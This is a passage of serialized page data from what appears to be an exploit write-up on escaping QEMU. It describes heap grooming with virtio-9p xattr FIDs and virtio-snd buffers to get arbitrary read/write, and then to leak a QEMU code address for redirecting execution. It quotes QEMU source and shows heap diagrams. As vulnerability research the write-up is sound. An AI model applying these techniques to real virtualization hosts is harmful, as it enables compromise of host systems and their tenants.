,"children":40358},{"emptyLinePlaceholder":17},[40359],{"type":32,"value":7817},{"type":26,"tag":217,"props":40361,"children":40362},{"class":7028,"line":7439},[40363,40368,40372,40377],{"type":26,"tag":217,"props":40364,"children":40365},{"style":7048},[40366],{"type":32,"value":40367},"    file_fidp ",{"type":26,"tag":217,"props":40369,"children":40370},{"style":7149},[40371],{"type":32,"value":267},{"type":26,"tag":217,"props":40373,"children":40374},{"style":7064},[40375],{"type":32,"value":40376}," get_fid",{"type":26,"tag":217,"props":40378,"children":40379},{"style":7048},[40380],{"type":32,"value":40381},"(pdu, fid);\n",{"type":26,"tag":217,"props":40383,"children":40384},{"class":7028,"line":7487},[40385],{"type":26,"tag":217,"props":40386,"children":40387},{"emptyLinePlaceholder":17},[40388],{"type":32,"value":7817},{"type":26,"tag":217,"props":40390,"children":40391},{"class":7028,"line":7524},[40392],{"type":26,"tag":217,"props":40393,"children":40394},{"style":7048},[40395],{"type":32,"value":34647},{"type":26,"tag":217,"props":40397,"children":40398},{"class":7028,"line":7553},[40399],{"type":26,"tag":217,"props":40400,"children":40401},{"emptyLinePlaceholder":17},[40402],{"type":32,"value":7817},{"type":26,"tag":217,"props":40404,"children":40405},{"class":7028,"line":7570},[40406],{"type":26,"tag":217,"props":40407,"children":40408},{"style":7033},[40409],{"type":32,"value":40410},"    /* Make the file fid point to xattr */\n",{"type":26,"tag":217,"props":40412,"children":40413},{"class":7028,"line":7621},[40414,40419,40423],{"type":26,"tag":217,"props":40415,"children":40416},{"style":7048},[40417],{"type":32,"value":40418},"    xattr_fidp ",{"type":26,"tag":217,"props":40420,"children":40421},{"style":7149},[40422],{"type":32,"value":267},{"type":26,"tag":217,"props":40424,"children":40425},{"style":7048},[40426],{"type":32,"value":40427}," file_fidp;\n",{"type":26,"tag":217,"props":40429,"children":40430},{"class":7028,"line":7672},[40431,40435,40439,40443,40447,40451,40455,40459,40463],{"type":26,"tag":217,"props":40432,"children":40433},{"style":7054},[40434],{"type":32,"value":39252},{"type":26,"tag":217,"props":40436,"children":40437},{"style":7048},[40438],{"type":32,"value":10115},{"type":26,"tag":217,"props":40440,"children":40441},{"style":7054},[40442],{"type":32,"value":39166},{"type":26,"tag":217,"props":40444,"children":40445},{"style":7048},[40446],{"type":32,"value":180},{"type":26,"tag":217,"props":40448,"children":40449},{"style":7054},[40450],{"type":32,"value":39175},{"type":26,"tag":217,"props":40452,"children":40453},{"style":7048},[40454],{"type":32,"value":180},{"type":26,"tag":217,"props":40456,"children":40457},{"style":7054},[40458],{"type":32,"value":15325},{"type":26,"tag":217,"props":40460,"children":40461},{"style":7149},[40462],{"type":32,"value":8993},{"type":26,"tag":217,"props":40464,"children":40465},{"style":7048},[40466],{"type":32,"value":12311},{"type":26,"tag":217,"props":40468,"children":40469},{"class":7028,"line":7681},[40470,40474,40478,40482,40486,40490,40494,40498,40502,40506],{"type":26,"tag":217,"props":40471,"children":40472},{"style":7054},[40473],{"type":32,"value":39252},{"type":26,"tag":217,"props":40475,"children":40476},{"style":7048},[40477],{"type":32,"value":10115},{"type":26,"tag":217,"props":40479,"children":40480},{"style":7054},[40481],{"type":32,"value":39166},{"type":26,"tag":217,"props":40483,"children":40484},{"style":7048},[40485],{"type":32,"value":180},{"type":26,"tag":217,"props":40487,"children":40488},{"style":7054},[40489],{"type":32,"value":39175},{"type":26,"tag":217,"props":40491,"children":40492},{"style":7048},[40493],{"type":32,"value":180},{"type":26,"tag":217,"props":40495,"children":40496},{"style":7054},[40497],{"type":32,"value":15127},{"type":26,"tag":217,"props":40499,"children":40500},{"style":7149},[40501],{"type":32,"value":8993},{"type":26,"tag":217,"props":40503,"children":40504},{"style":7064},[40505],{"type":32,"value":34916},{"type":26,"tag":217,"props":40507,"children":40508},{"style":7048},[40509],{"type":32,"value":39289},{"type":26,"tag":217,"props":40511,"children":40512},{"class":7028,"line":7754},[40513],{"type":26,"tag":217,"props":40514,"children":40515},{"emptyLinePlaceholder":17},[40516],{"type":32,"value":7817},{"type":26,"tag":217,"props":40518,"children":40519},{"class":7028,"line":7784},[40520],{"type":26,"tag":217,"props":40521,"children":40522},{"style":7048},[40523],{"type":32,"value":34647},{"type":26,"tag":39,"props":40525,"children":40526},{},[40527,40529,40535,40537,40542,40543,40548,40550,40555,40557,40563,40564,40570,40572,40577,40578,40583],{"type":32,"value":40528},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":26,"tag":83,"props":40530,"children":40532},{"className":40531},[],[40533],{"type":32,"value":40534},"V9fsFidState",{"type":32,"value":40536}," object. In other words, if we can place a ",{"type":26,"tag":83,"props":40538,"children":40540},{"className":40539},[],[40541],{"type":32,"value":40534},{"type":32,"value":5594},{"type":26,"tag":83,"props":40544,"children":40546},{"className":40545},[],[40547],{"type":32,"value":40103},{"type":32,"value":40549}," currently sits, the overlapping ",{"type":26,"tag":83,"props":40551,"children":40553},{"className":40552},[],[40554],{"type":32,"value":40111},{"type":32,"value":40556}," chunk can overwrite ",{"type":26,"tag":83,"props":40558,"children":40560},{"className":40559},[],[40561],{"type":32,"value":40562},"V9fsFidState.fs.xattr.value",{"type":32,"value":1308},{"type":26,"tag":83,"props":40565,"children":40567},{"className":40566},[],[40568],{"type":32,"value":40569},"V9fsFidState.fs.xattr.len",{"type":32,"value":40571},". That would immediately give us arbitrary read and write through ",{"type":26,"tag":83,"props":40573,"children":40575},{"className":40574},[],[40576],{"type":32,"value":39365},{"type":32,"value":1308},{"type":26,"tag":83,"props":40579,"children":40581},{"className":40580},[],[40582],{"type":32,"value":39357},{"type":32,"value":180},{"type":26,"tag":39,"props":40585,"children":40586},{},[40587,40588,40593,40594,40599,40601,40606,40608,40614,40616,40621,40623,40628,40630,40635,40637,40642,40644,40649],{"type":32,"value":16491},{"type":26,"tag":83,"props":40589,"children":40591},{"className":40590},[],[40592],{"type":32,"value":40103},{"type":32,"value":16203},{"type":26,"tag":83,"props":40595,"children":40597},{"className":40596},[],[40598],{"type":32,"value":14243},{"type":32,"value":40600}," chunk, while ",{"type":26,"tag":83,"props":40602,"children":40604},{"className":40603},[],[40605],{"type":32,"value":40534},{"type":32,"value":40607}," falls into the ",{"type":26,"tag":83,"props":40609,"children":40611},{"className":40610},[],[40612],{"type":32,"value":40613},"0x120",{"type":32,"value":40615}," size class. Before freeing ",{"type":26,"tag":83,"props":40617,"children":40619},{"className":40618},[],[40620],{"type":32,"value":40103},{"type":32,"value":40622},", we therefore use the oversized ",{"type":26,"tag":83,"props":40624,"children":40626},{"className":40625},[],[40627],{"type":32,"value":40111},{"type":32,"value":40629}," chunk to change its size to match ",{"type":26,"tag":83,"props":40631,"children":40633},{"className":40632},[],[40634],{"type":32,"value":40534},{"type":32,"value":40636},". Once ",{"type":26,"tag":83,"props":40638,"children":40640},{"className":40639},[],[40641],{"type":32,"value":40103},{"type":32,"value":40643}," is freed, it is inserted into the ",{"type":26,"tag":83,"props":40645,"children":40647},{"className":40646},[],[40648],{"type":32,"value":40613},{"type":32,"value":40650}," tcache bin.",{"type":26,"tag":207,"props":40652,"children":40654},{"code":40653},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[40655],{"type":26,"tag":83,"props":40656,"children":40657},{"__ignoreMap":8},[40658],{"type":32,"value":40653},{"type":26,"tag":39,"props":40660,"children":40661},{},[40662,40664,40669,40671,40677,40679,40685,40687,40692],{"type":32,"value":40663},"After that, we can simply allocate a new ",{"type":26,"tag":83,"props":40665,"children":40667},{"className":40666},[],[40668],{"type":32,"value":40534},{"type":32,"value":40670}," with a ",{"type":26,"tag":83,"props":40672,"children":40674},{"className":40673},[],[40675],{"type":32,"value":40676},"P9_TWALK",{"type":32,"value":40678}," request and a fresh FID - this reaches ",{"type":26,"tag":83,"props":40680,"children":40682},{"className":40681},[],[40683],{"type":32,"value":40684},"alloc_fid",{"type":32,"value":40686},", which allocates a new ",{"type":26,"tag":83,"props":40688,"children":40690},{"className":40689},[],[40691],{"type":32,"value":40534},{"type":32,"value":1473},{"type":26,"tag":207,"props":40694,"children":40696},{"code":40695,"language":2255,"meta":8,"className":9574,"style":8},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[40697],{"type":26,"tag":83,"props":40698,"children":40699},{"__ignoreMap":8},[40700,40740,40747,40763,40791,40798,40805,40812,40833,40840,40857,40879,40903,40924,40937,40944,40982,41025,41032,41039,41046,41053,41060,41111,41118,41134,41141,41189,41201,41209,41238,41253,41260,41289,41296],{"type":26,"tag":217,"props":40701,"children":40702},{"class":7028,"line":7029},[40703,40707,40711,40715,40720,40724,40728,40732,40736],{"type":26,"tag":217,"props":40704,"children":40705},{"style":7154},[40706],{"type":32,"value":9987},{"type":26,"tag":217,"props":40708,"children":40709},{"style":7154},[40710],{"type":32,"value":8936},{"type":26,"tag":217,"props":40712,"children":40713},{"style":7048},[40714],{"type":32,"value":38700},{"type":26,"tag":217,"props":40716,"children":40717},{"style":7064},[40718],{"type":32,"value":40719},"v9fs_walk",{"type":26,"tag":217,"props":40721,"children":40722},{"style":7048},[40723],{"type":32,"value":1851},{"type":26,"tag":217,"props":40725,"children":40726},{"style":7154},[40727],{"type":32,"value":35543},{"type":26,"tag":217,"props":40729,"children":40730},{"style":7149},[40731],{"type":32,"value":9690},{"type":26,"tag":217,"props":40733,"children":40734},{"style":7054},[40735],{"type":32,"value":38722},{"type":26,"tag":217,"props":40737,"children":40738},{"style":7048},[40739],{"type":32,"value":10025},{"type":26,"tag":217,"props":40741,"children":40742},{"class":7028,"line":6770},[40743],{"type":26,"tag":217,"props":40744,"children":40745},{"style":7048},[40746],{"type":32,"value":10033},{"type":26,"tag":217,"props":40748,"children":40749},{"class":7028,"line":6779},[40750,40754,40758],{"type":26,"tag":217,"props":40751,"children":40752},{"style":7048},[40753],{"type":32,"value":38847},{"type":26,"tag":217,"props":40755,"children":40756},{"style":7149},[40757],{"type":32,"value":10006},{"type":26,"tag":217,"props":40759,"children":40760},{"style":7048},[40761],{"type":32,"value":40762},"fidp;\n",{"type":26,"tag":217,"props":40764,"children":40765},{"class":7028,"line":7140},[40766,40770,40774,40779,40783,40787],{"type":26,"tag":217,"props":40767,"children":40768},{"style":7048},[40769],{"type":32,"value":38847},{"type":26,"tag":217,"props":40771,"children":40772},{"style":7149},[40773],{"type":32,"value":10006},{"type":26,"tag":217,"props":40775,"children":40776},{"style":7048},[40777],{"type":32,"value":40778},"newfidp ",{"type":26,"tag":217,"props":40780,"children":40781},{"style":7149},[40782],{"type":32,"value":267},{"type":26,"tag":217,"props":40784,"children":40785},{"style":7154},[40786],{"type":32,"value":9856},{"type":26,"tag":217,"props":40788,"children":40789},{"style":7048},[40790],{"type":32,"value":7162},{"type":26,"tag":217,"props":40792,"children":40793},{"class":7028,"line":7165},[40794],{"type":26,"tag":217,"props":40795,"children":40796},{"emptyLinePlaceholder":17},[40797],{"type":32,"value":7817},{"type":26,"tag":217,"props":40799,"children":40800},{"class":7028,"line":7178},[40801],{"type":26,"tag":217,"props":40802,"children":40803},{"style":7048},[40804],{"type":32,"value":34647},{"type":26,"tag":217,"props":40806,"children":40807},{"class":7028,"line":7389},[40808],{"type":26,"tag":217,"props":40809,"children":40810},{"emptyLinePlaceholder":17},[40811],{"type":32,"value":7817},{"type":26,"tag":217,"props":40813,"children":40814},{"class":7028,"line":7406},[40815,40819,40824,40828],{"type":26,"tag":217,"props":40816,"children":40817},{"style":7042},[40818],{"type":32,"value":9710},{"type":26,"tag":217,"props":40820,"children":40821},{"style":7048},[40822],{"type":32,"value":40823}," (fid ",{"type":26,"tag":217,"props":40825,"children":40826},{"style":7149},[40827],{"type":32,"value":9106},{"type":26,"tag":217,"props":40829,"children":40830},{"style":7048},[40831],{"type":32,"value":40832}," newfid) {\n",{"type":26,"tag":217,"props":40834,"children":40835},{"class":7028,"line":7439},[40836],{"type":26,"tag":217,"props":40837,"children":40838},{"style":7048},[40839],{"type":32,"value":15028},{"type":26,"tag":217,"props":40841,"children":40842},{"class":7028,"line":7487},[40843,40848,40853],{"type":26,"tag":217,"props":40844,"children":40845},{"style":7048},[40846],{"type":32,"value":40847},"    } ",{"type":26,"tag":217,"props":40849,"children":40850},{"style":7042},[40851],{"type":32,"value":40852},"else",{"type":26,"tag":217,"props":40854,"children":40855},{"style":7048},[40856],{"type":32,"value":8064},{"type":26,"tag":217,"props":40858,"children":40859},{"class":7028,"line":7524},[40860,40865,40869,40874],{"type":26,"tag":217,"props":40861,"children":40862},{"style":7048},[40863],{"type":32,"value":40864},"        newfidp ",{"type":26,"tag":217,"props":40866,"children":40867},{"style":7149},[40868],{"type":32,"value":267},{"type":26,"tag":217,"props":40870,"children":40871},{"style":7064},[40872],{"type":32,"value":40873}," alloc_fid",{"type":26,"tag":217,"props":40875,"children":40876},{"style":7048},[40877],{"type":32,"value":40878},"(s, newfid);\n",{"type":26,"tag":217,"props":40880,"children":40881},{"class":7028,"line":7553},[40882,40886,40891,40895,40899],{"type":26,"tag":217,"props":40883,"children":40884},{"style":7042},[40885],{"type":32,"value":12497},{"type":26,"tag":217,"props":40887,"children":40888},{"style":7048},[40889],{"type":32,"value":40890}," (newfidp ",{"type":26,"tag":217,"props":40892,"children":40893},{"style":7149},[40894],{"type":32,"value":9106},{"type":26,"tag":217,"props":40896,"children":40897},{"style":7154},[40898],{"type":32,"value":9856},{"type":26,"tag":217,"props":40900,"children":40901},{"style":7048},[40902],{"type":32,"value":7618},{"type":26,"tag":217,"props":40904,"children":40905},{"class":7028,"line":7570},[40906,40911,40915,40919],{"type":26,"tag":217,"props":40907,"children":40908},{"style":7048},[40909],{"type":32,"value":40910},"            err ",{"type":26,"tag":217,"props":40912,"children":40913},{"style":7149},[40914],{"type":32,"value":267},{"type":26,"tag":217,"props":40916,"children":40917},{"style":7149},[40918],{"type":32,"value":12618},{"type":26,"tag":217,"props":40920,"children":40921},{"style":7048},[40922],{"type":32,"value":40923},"EINVAL;\n",{"type":26,"tag":217,"props":40925,"children":40926},{"class":7028,"line":7621},[40927,40932],{"type":26,"tag":217,"props":40928,"children":40929},{"style":7042},[40930],{"type":32,"value":40931},"            goto",{"type":26,"tag":217,"props":40933,"children":40934},{"style":7048},[40935],{"type":32,"value":40936}," out;\n",{"type":26,"tag":217,"props":40938,"children":40939},{"class":7028,"line":7672},[40940],{"type":26,"tag":217,"props":40941,"children":40942},{"style":7048},[40943],{"type":32,"value":8722},{"type":26,"tag":217,"props":40945,"children":40946},{"class":7028,"line":7681},[40947,40952,40956,40961,40965,40970,40974,40978],{"type":26,"tag":217,"props":40948,"children":40949},{"style":7054},[40950],{"type":32,"value":40951},"        newfidp",{"type":26,"tag":217,"props":40953,"children":40954},{"style":7048},[40955],{"type":32,"value":10115},{"type":26,"tag":217,"props":40957,"children":40958},{"style":7054},[40959],{"type":32,"value":40960},"uid",{"type":26,"tag":217,"props":40962,"children":40963},{"style":7149},[40964],{"type":32,"value":8993},{"type":26,"tag":217,"props":40966,"children":40967},{"style":7054},[40968],{"type":32,"value":40969}," fidp",{"type":26,"tag":217,"props":40971,"children":40972},{"style":7048},[40973],{"type":32,"value":10115},{"type":26,"tag":217,"props":40975,"children":40976},{"style":7054},[40977],{"type":32,"value":40960},{"type":26,"tag":217,"props":40979,"children":40980},{"style":7048},[40981],{"type":32,"value":7162},{"type":26,"tag":217,"props":40983,"children":40984},{"class":7028,"line":7754},[40985,40990,40994,40998,41003,41007,41012,41016,41020],{"type":26,"tag":217,"props":40986,"children":40987},{"style":7064},[40988],{"type":32,"value":40989},"        v9fs_path_copy",{"type":26,"tag":217,"props":40991,"children":40992},{"style":7048},[40993],{"type":32,"value":1851},{"type":26,"tag":217,"props":40995,"children":40996},{"style":7149},[40997],{"type":32,"value":9804},{"type":26,"tag":217,"props":40999,"children":41000},{"style":7054},[41001],{"type":32,"value":41002},"newfidp",{"type":26,"tag":217,"props":41004,"children":41005},{"style":7048},[41006],{"type":32,"value":10115},{"type":26,"tag":217,"props":41008,"children":41009},{"style":7054},[41010],{"type":32,"value":41011},"path",{"type":26,"tag":217,"props":41013,"children":41014},{"style":7048},[41015],{"type":32,"value":7599},{"type":26,"tag":217,"props":41017,"children":41018},{"style":7149},[41019],{"type":32,"value":9804},{"type":26,"tag":217,"props":41021,"children":41022},{"style":7048},[41023],{"type":32,"value":41024},"path);\n",{"type":26,"tag":217,"props":41026,"children":41027},{"class":7028,"line":7784},[41028],{"type":26,"tag":217,"props":41029,"children":41030},{"style":7048},[41031],{"type":32,"value":9754},{"type":26,"tag":217,"props":41033,"children":41034},{"class":7028,"line":7802},[41035],{"type":26,"tag":217,"props":41036,"children":41037},{"emptyLinePlaceholder":17},[41038],{"type":32,"value":7817},{"type":26,"tag":217,"props":41040,"children":41041},{"class":7028,"line":7811},[41042],{"type":26,"tag":217,"props":41043,"children":41044},{"style":7048},[41045],{"type":32,"value":34647},{"type":26,"tag":217,"props":41047,"children":41048},{"class":7028,"line":7820},[41049],{"type":26,"tag":217,"props":41050,"children":41051},{"style":7048},[41052],{"type":32,"value":7184},{"type":26,"tag":217,"props":41054,"children":41055},{"class":7028,"line":7844},[41056],{"type":26,"tag":217,"props":41057,"children":41058},{"emptyLinePlaceholder":17},[41059],{"type":32,"value":7817},{"type":26,"tag":217,"props":41061,"children":41062},{"class":7028,"line":7910},[41063,41067,41072,41076,41080,41085,41089,41093,41097,41102,41107],{"type":26,"tag":217,"props":41064,"children":41065},{"style":7154},[41066],{"type":32,"value":9987},{"type":26,"tag":217,"props":41068,"children":41069},{"style":7048},[41070],{"type":32,"value":41071}," V9fsFidState ",{"type":26,"tag":217,"props":41073,"children":41074},{"style":7149},[41075],{"type":32,"value":10006},{"type":26,"tag":217,"props":41077,"children":41078},{"style":7064},[41079],{"type":32,"value":40684},{"type":26,"tag":217,"props":41081,"children":41082},{"style":7048},[41083],{"type":32,"value":41084},"(V9fsState ",{"type":26,"tag":217,"props":41086,"children":41087},{"style":7149},[41088],{"type":32,"value":10006},{"type":26,"tag":217,"props":41090,"children":41091},{"style":7054},[41092],{"type":32,"value":3246},{"type":26,"tag":217,"props":41094,"children":41095},{"style":7048},[41096],{"type":32,"value":7599},{"type":26,"tag":217,"props":41098,"children":41099},{"style":7154},[41100],{"type":32,"value":41101},"int32_t",{"type":26,"tag":217,"props":41103,"children":41104},{"style":7054},[41105],{"type":32,"value":41106}," fid",{"type":26,"tag":217,"props":41108,"children":41109},{"style":7048},[41110],{"type":32,"value":10025},{"type":26,"tag":217,"props":41112,"children":41113},{"class":7028,"line":7954},[41114],{"type":26,"tag":217,"props":41115,"children":41116},{"style":7048},[41117],{"type":32,"value":10033},{"type":26,"tag":217,"props":41119,"children":41120},{"class":7028,"line":7985},[41121,41125,41129],{"type":26,"tag":217,"props":41122,"children":41123},{"style":7048},[41124],{"type":32,"value":38847},{"type":26,"tag":217,"props":41126,"children":41127},{"style":7149},[41128],{"type":32,"value":10006},{"type":26,"tag":217,"props":41130,"children":41131},{"style":7048},[41132],{"type":32,"value":41133},"f;\n",{"type":26,"tag":217,"props":41135,"children":41136},{"class":7028,"line":8027},[41137],{"type":26,"tag":217,"props":41138,"children":41139},{"emptyLinePlaceholder":17},[41140],{"type":32,"value":7817},{"type":26,"tag":217,"props":41142,"children":41143},{"class":7028,"line":8035},[41144,41149,41153,41158,41162,41166,41170,41175,41179,41184],{"type":26,"tag":217,"props":41145,"children":41146},{"style":7048},[41147],{"type":32,"value":41148},"    f ",{"type":26,"tag":217,"props":41150,"children":41151},{"style":7149},[41152],{"type":32,"value":267},{"type":26,"tag":217,"props":41154,"children":41155},{"style":7064},[41156],{"type":32,"value":41157}," g_hash_table_lookup",{"type":26,"tag":217,"props":41159,"children":41160},{"style":7048},[41161],{"type":32,"value":1851},{"type":26,"tag":217,"props":41163,"children":41164},{"style":7054},[41165],{"type":32,"value":3246},{"type":26,"tag":217,"props":41167,"children":41168},{"style":7048},[41169],{"type":32,"value":10115},{"type":26,"tag":217,"props":41171,"children":41172},{"style":7054},[41173],{"type":32,"value":41174},"fids",{"type":26,"tag":217,"props":41176,"children":41177},{"style":7048},[41178],{"type":32,"value":7599},{"type":26,"tag":217,"props":41180,"children":41181},{"style":7064},[41182],{"type":32,"value":41183},"GINT_TO_POINTER",{"type":26,"tag":217,"props":41185,"children":41186},{"style":7048},[41187],{"type":32,"value":41188},"(fid));\n",{"type":26,"tag":217,"props":41190,"children":41191},{"class":7028,"line":8067},[41192,41196],{"type":26,"tag":217,"props":41193,"children":41194},{"style":7042},[41195],{"type":32,"value":9710},{"type":26,"tag":217,"props":41197,"children":41198},{"style":7048},[41199],{"type":32,"value":41200}," (f) {\n",{"type":26,"tag":217,"props":41202,"children":41203},{"class":7028,"line":8107},[41204],{"type":26,"tag":217,"props":41205,"children":41206},{"style":7033},[41207],{"type":32,"value":41208},"        /* If fid is already there return NULL */\n",{"type":26,"tag":217,"props":41210,"children":41211},{"class":7028,"line":8145},[41212,41217,41221,41225,41229,41234],{"type":26,"tag":217,"props":41213,"children":41214},{"style":7064},[41215],{"type":32,"value":41216},"        BUG_ON",{"type":26,"tag":217,"props":41218,"children":41219},{"style":7048},[41220],{"type":32,"value":1851},{"type":26,"tag":217,"props":41222,"children":41223},{"style":7054},[41224],{"type":32,"value":19826},{"type":26,"tag":217,"props":41226,"children":41227},{"style":7048},[41228],{"type":32,"value":10115},{"type":26,"tag":217,"props":41230,"children":41231},{"style":7054},[41232],{"type":32,"value":41233},"clunked",{"type":26,"tag":217,"props":41235,"children":41236},{"style":7048},[41237],{"type":32,"value":7669},{"type":26,"tag":217,"props":41239,"children":41240},{"class":7028,"line":8154},[41241,41245,41249],{"type":26,"tag":217,"props":41242,"children":41243},{"style":7042},[41244],{"type":32,"value":9737},{"type":26,"tag":217,"props":41246,"children":41247},{"style":7154},[41248],{"type":32,"value":9856},{"type":26,"tag":217,"props":41250,"children":41251},{"style":7048},[41252],{"type":32,"value":7162},{"type":26,"tag":217,"props":41254,"children":41255},{"class":7028,"line":8162},[41256],{"type":26,"tag":217,"props":41257,"children":41258},{"style":7048},[41259],{"type":32,"value":9754},{"type":26,"tag":217,"props":41261,"children":41262},{"class":7028,"line":8197},[41263,41267,41271,41276,41281,41285],{"type":26,"tag":217,"props":41264,"children":41265},{"style":7048},[41266],{"type":32,"value":41148},{"type":26,"tag":217,"props":41268,"children":41269},{"style":7149},[41270],{"type":32,"value":267},{"type":26,"tag":217,"props":41272,"children":41273},{"style":7064},[41274],{"type":32,"value":41275}," g_new0",{"type":26,"tag":217,"props":41277,"children":41278},{"style":7048},[41279],{"type":32,"value":41280},"(V9fsFidState, ",{"type":26,"tag":217,"props":41282,"children":41283},{"style":7130},[41284],{"type":32,"value":185},{"type":26,"tag":217,"props":41286,"children":41287},{"style":7048},[41288],{"type":32,"value":7669},{"type":26,"tag":217,"props":41290,"children":41291},{"class":7028,"line":8220},[41292],{"type":26,"tag":217,"props":41293,"children":41294},{"emptyLinePlaceholder":17},[41295],{"type":32,"value":7817},{"type":26,"tag":217,"props":41297,"children":41298},{"class":7028,"line":8228},[41299],{"type":26,"tag":217,"props":41300,"children":41301},{"style":7048},[41302],{"type":32,"value":34647},{"type":26,"tag":39,"props":41304,"children":41305},{},[41306,41308,41313],{"type":32,"value":41307},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":26,"tag":83,"props":41309,"children":41311},{"className":41310},[],[41312],{"type":32,"value":40103},{"type":32,"value":39440},{"type":26,"tag":207,"props":41315,"children":41317},{"code":41316},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[41318],{"type":26,"tag":83,"props":41319,"children":41320},{"__ignoreMap":8},[41321],{"type":32,"value":41316},{"type":26,"tag":631,"props":41323,"children":41325},{"id":41324},"leaking-a-qemu-address",[41326],{"type":32,"value":41327},"Leaking a QEMU Address",{"type":26,"tag":39,"props":41329,"children":41330},{},[41331],{"type":32,"value":41332},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":26,"tag":39,"props":41334,"children":41335},{},[41336,41338,41343],{"type":32,"value":41337},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":26,"tag":83,"props":41339,"children":41341},{"className":41340},[],[41342],{"type":32,"value":34502},{"type":32,"value":1473},{"type":26,"tag":207,"props":41345,"children":41347},{"code":41346,"language":2255,"meta":8,"className":9574,"style":8},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[41348],{"type":26,"tag":83,"props":41349,"children":41350},{"__ignoreMap":8},[41351,41394,41401,41432,41447,41462,41474,41487,41494,41501,41508,41519,41534,41541,41569,41588,41599,41606,41614,41651,41672,41684,41697,41710,41736,41748,41755,41793,41800,41807,41814,41845,41900,41912,41953,41976,42005,42032,42059,42091],{"type":26,"tag":217,"props":41352,"children":41353},{"class":7028,"line":7029},[41354,41358,41362,41366,41370,41374,41378,41382,41386,41390],{"type":26,"tag":217,"props":41355,"children":41356},{"style":7154},[41357],{"type":32,"value":9987},{"type":26,"tag":217,"props":41359,"children":41360},{"style":7154},[41361],{"type":32,"value":8936},{"type":26,"tag":217,"props":41363,"children":41364},{"style":7064},[41365],{"type":32,"value":34583},{"type":26,"tag":217,"props":41367,"children":41368},{"style":7048},[41369],{"type":32,"value":34588},{"type":26,"tag":217,"props":41371,"children":41372},{"style":7149},[41373],{"type":32,"value":10006},{"type":26,"tag":217,"props":41375,"children":41376},{"style":7054},[41377],{"type":32,"value":34597},{"type":26,"tag":217,"props":41379,"children":41380},{"style":7048},[41381],{"type":32,"value":34602},{"type":26,"tag":217,"props":41383,"children":41384},{"style":7149},[41385],{"type":32,"value":10006},{"type":26,"tag":217,"props":41387,"children":41388},{"style":7054},[41389],{"type":32,"value":34611},{"type":26,"tag":217,"props":41391,"children":41392},{"style":7048},[41393],{"type":32,"value":10025},{"type":26,"tag":217,"props":41395,"children":41396},{"class":7028,"line":6770},[41397],{"type":26,"tag":217,"props":41398,"children":41399},{"style":7048},[41400],{"type":32,"value":10033},{"type":26,"tag":217,"props":41402,"children":41403},{"class":7028,"line":6779},[41404,41409,41413,41418,41422,41427],{"type":26,"tag":217,"props":41405,"children":41406},{"style":7048},[41407],{"type":32,"value":41408},"    VirtIOSound ",{"type":26,"tag":217,"props":41410,"children":41411},{"style":7149},[41412],{"type":32,"value":10006},{"type":26,"tag":217,"props":41414,"children":41415},{"style":7048},[41416],{"type":32,"value":41417},"vsnd ",{"type":26,"tag":217,"props":41419,"children":41420},{"style":7149},[41421],{"type":32,"value":267},{"type":26,"tag":217,"props":41423,"children":41424},{"style":7064},[41425],{"type":32,"value":41426}," 